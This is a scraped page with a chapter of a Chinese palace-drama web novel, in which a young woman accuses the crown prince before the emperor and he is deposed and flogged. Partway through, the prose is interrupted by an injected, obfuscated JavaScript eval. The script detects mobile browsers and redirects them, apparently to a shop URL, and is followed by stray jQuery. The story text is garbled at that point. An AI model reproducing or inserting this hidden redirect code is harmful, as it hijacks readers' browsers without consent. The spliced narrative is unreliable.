35. 告御状
作品:《太子请自重》 计云舒跟着两位禁军和那名内侍进殿,甫一踏入殿中,抽气声此起彼伏,她恍若未闻,清明坚毅的眸子里,只有御座那位能帮她申冤的人。
“这?竟是名女子?”
身后大臣的窃窃私语声传进宋奕耳中,他也甚为新奇地侧了侧目,只这一眼,便让他彻底僵在原地。
同样神情的还有宸王宋池。
“民女云荷,拜见陛下,陛下万岁万岁万万岁。”
女子清泠泠的声音将宋奕的思绪拉回神,他绷紧了下颚,阴翳的目光紧紧锁住那面色苍白,衣裙带血的女子。
聪明如他,怎会不知道她的意图?原来她昨日的反常,全都是有迹可循。
宋奕不动声色地攥紧了拳,手背上的青筋隐隐凸显。
鸣冤鼓......
好,好得很!他当真是小看她了!
左相姚鸿祯隐晦地瞟了眼宋奕的反应,便知此事十有八九是真的,心下暗自得意起来,想不到他宋奕也有今日。
“起来说话罢,你有何冤情要诉?”
皇帝宋英看着堂下那虚弱单薄的女子,不免起了恻隐之心。
和善的声音让计云舒一怔,她应声而起,从袖中取出诉状举于头顶,一字一句道:“民女要状告当朝太子宋奕,私德败坏,强占民女将近两月,威胁恐吓,监视下药,种种罪行,罄竹难书!”
一语毕,满堂惊。
文武百官齐齐震惊地望向那队列最前方的清贵男子,怎么瞧怎么不像那女子口中的无耻下流之辈。
而那男子始终站立如松,半垂着眼眸,一语不发,不知在想些什么。
宋奕一党坐不住了,按理说遇见这种事,殿下第一反应便该反驳不是?迟迟不开口岂不是让那女子更肆无忌惮地攀诬?
“满口胡言!哪来的刁女子,竟敢污蔑太子殿下!合该拖下去乱棍打死!”
姚鸿祯瞥了一眼气急败坏的车勇,幽幽开口:“车将军,人家姑娘生生受了二十脊杖,好不容易上了金銮殿,话还未说完,你这么急着堵人家嘴做什么?”
御座上,宋英细细看完诉状,不理会堂下针锋相对的二人,直直地看向计云舒,道:“可有证据?”
朝臣们纷纷交头接耳,是啊,这么大的事儿,她总得拿出个证据来罢?
闻言,计云舒在众目睽睽之下,掏出了宋奕的贴身玉佩,双手奉上。
众臣惊讶地看着那枚玉佩,这正是太子专有的麒麟玉佩,竟会在那女子手里?难不成她说的都是真的?
宋英瞳孔猛地一缩,立时接过内侍递过来的玉佩,细细地抚摸,手指微微发颤。
这是他在立宋奕为太子那年,亲自赐给他的,没有人比他更清楚。
他没有想到,他最器重,最喜爱的长子,竟会做出这等事。
他愠怒的目光落在下方那从始至终沉默不语的人身上,将玉佩扔在了他身前,语气罕见的冰冷。
“太子,你来看看,这是不是你的东西?”
宋奕终于掀了眼皮,凉薄的眼眸瞥了眼地上的玉佩,脑海中想的却是昨夜她死死抓着玉佩的情形。
他自嘲般地扯了扯嘴角。
难怪世人皆说,温柔乡是英雄冢,他自诩不是什么英雄,如今却也栽在了这儿。
“是。”他微微启唇,冷冷吐出一字。
这,太子殿下这是承认了么?
天爷啊!怎么会有这种事儿?这还是他们心目中那个秉节持重,云中白鹤的太子殿下么?!
朝臣心下惊涛骇浪,却纷纷噤若寒蝉,这等骇人听闻之事,陛下怕是要发大怒了!
“太子殿下倒是敢做敢当......”姚鸿祯意味不明地说了一句,把车勇等人气得不行。
“左相慎言!一个玉佩能说明什么?是这女子偷来的也未可知!”
姚鸿祯大笑不止,跟这等蠢货争辩简直是侮辱他。
“车将军的意思是,一个手无缚鸡之力的女子,潜入皇宫,偷了太子殿下的贴身玉佩,还能安然无恙地站在这儿?”
车勇被堵得哑口无言,偏偏他不善口舌之辩,白白让那老匹夫嘲弄,满腔怒火无处发泄。
计云舒听他二人争吵的话语,怀疑光靠玉佩怕是不足以扳倒宋奕,虽然有些证据难以启齿,但她现下却不得不说了。
“回陛下,宋...太子殿下左肩与胸口处皆有伤疤,一验便知民女是否是......”
“住口!”
话音未落,计云舒便被人重重扇倒在地,右半张脸火辣辣的疼。
宋奕骤然阴沉地看向车勇,下意识便想冲上前扶起被扇倒在地的计云舒,却生生忍住了。
“放肆!来人!把车勇给朕拿下!”
宋英气得拍案而起,霎时间几名禁卫军冲了进来,将车勇按押在地上。
计云舒艰难地站起身,冷冷地看着那还想扑过来打她的人。
这一巴掌,她记下了。
姚鸿祯适时出列,道:“陛下,骠骑将军车勇目无君上,嚣张跋扈,实为大不敬。”
说罢,他余光瞥了眼宋奕,又接着开口:“太子殿下私德有失,目无国法,人证物证俱在,还请陛下秉公处置。”
“臣附议。”
“臣附议......”
什么叫人算不如天算,姚鸿祯这下算是明白了。
他一茬一茬的细作派进东宫想揪住宋奕的小辫子,却从来激不起水花。
现如今一个如此大的把柄白白送上门来,他若是不扒掉他宋奕一层皮,难消他心头之恨!
“父皇!”
宸王听见左相的弹劾急忙出列,他想替宋奕求情,可看着地上的玉佩和计云舒那悲愤的神情,一时竟不知如何开口。
皇兄他,他怎么会呢?究竟是哪里出了差错?这实在太过荒谬了。
宋英忽略他,冰冷的眼神射在宋奕身上。
“太子,你可有什么要说的?”
殿内鸦雀无声,全都凝气屏神地等着那位太子殿下开口。
虽说陛下心里多半已经有数,可殿下好歹也辩驳两句,抑或是做做样子忏悔忏悔,先让陛下消气最为重要。
左相党在身后穷追猛打,而殿下却一言不发,这可不像是太子殿下以往的作风。
在众人的目光下,宋奕垂首缓缓出列,沉步走近计云舒,不着痕迹地扫了眼她红肿的侧脸以及肩膀处的血迹,神色愈寒。
为了不跟他进宫,她这是豁出去了。
以为这样便可以就此摆脱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161942|137653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他了么?白日做梦!便是死,她也得给他陪葬!
他略一撩朝服,淡然地跪在计云舒身前,道:“儿臣无话可说,请父皇责罚。”
那轻淡的语气,好似作恶多端的人不是他一般。
计云舒盯着眼前的背影若有所思,倒没料倒他这么痛快认罪了,本还以为少不了要与他对峙纠缠一番。
御座之上,宋英连连说了几个好字,但众人皆知,不是在夸人。
“这就是朕的好儿子,朕亲立的储君!”他声音微颤,眸中尽是失望与羞愤,一扬衣袖,当即下令。
“传旨!太子私德败坏,罔顾法纪,废其储君之位,迁出东宫!另鞭笞五十,当庭行刑!”
嘶......众臣不禁倒吸一口凉气。
太子被废了?!
计云舒也是惊怔不已,她本不对宋奕受严惩抱以期待,可皇帝的公正廉明着实出乎她的意料,随之而来的,是无法言喻的喜悦与激动,老天爷总算是眷顾了她一回。
“多谢陛下!多谢陛下!”
自被宋奕强迫那日起所受到的委屈与不公皆在此刻消失殆尽,她朝着御座上那位守正不阿的帝王深深跪拜,情不自禁地泪流满面。
荆鞭抽打皮肉的声音令在场众人心惊,唯有计云舒目不转睛地盯着受刑的宋奕,只觉心中无比痛快。
宋奕似乎有所感应般侧了侧头,恰巧对上了计云舒冰冷疏离的视线,眼神扫过她未干的泪痕时,他身形微僵,继而讥讽一笑。
倒是头一回亲眼见着她哭,只怕是她大仇得报,高兴的眼泪罢?总之不会是为他流的泪。
见宋奕看自己的眼神愈发阴鸷,计云舒毫无波澜,只淡漠地看着他,似在看一个毫不相干的人。
五十鞭打完,行刑的人退下,殿内再次陷入寂静。
宋英若有所思地望着殿中央虚弱不已却仍脊背笔直的计云舒,是个有骨气的姑娘,模样也算秀气,可遭此劫难,无异于闺誉尽毁。
他叹了口气,面色颇有些羞愧。
“朕教子无方,然女子清白最是要紧,姑娘日后怕是难以议亲,朕若将你赐婚于翊王作侧妃,你可愿意?”
他儿子把人给糟蹋了,想来只有这样才能补偿那姑娘,只不知她愿不愿意了。
此话一出,计云舒同宋奕二人俱是一怔,只是心境截然不同。
宋奕忍不住侧眸去观察她的神情,内心深处又抑制不住地生出一丝希冀。
她若同意,那这一切的一切,他都可以既往不咎。
“陛下好意本不该拒绝,只娘亲在世时民女曾发过愿,宁为寒门妻,不做王候妾,还请陛下收回成命。”
皇帝是好皇帝,儿子却不是好儿子,但凡换个对象,计云舒都不会拒绝得如此毫不留情。
清淩而坚定的声音掷地有声,某人的脸色肉眼可见的冷鸷起来。
皇帝赐婚,多大的殊荣啊!
对于计云舒的拒绝,众朝臣不禁窃窃私语,有人赞她不媚权贵,亦有人笑她蠢笨如猪。
宋英颇为赞许地点了点头,这丫头,倒是颇有几分傲骨。
他并未强求,冷冷看了一眼跪在地上的宋奕,随即吩咐散朝。
一场绝世大戏收了尾,众臣陆陆续续地退朝。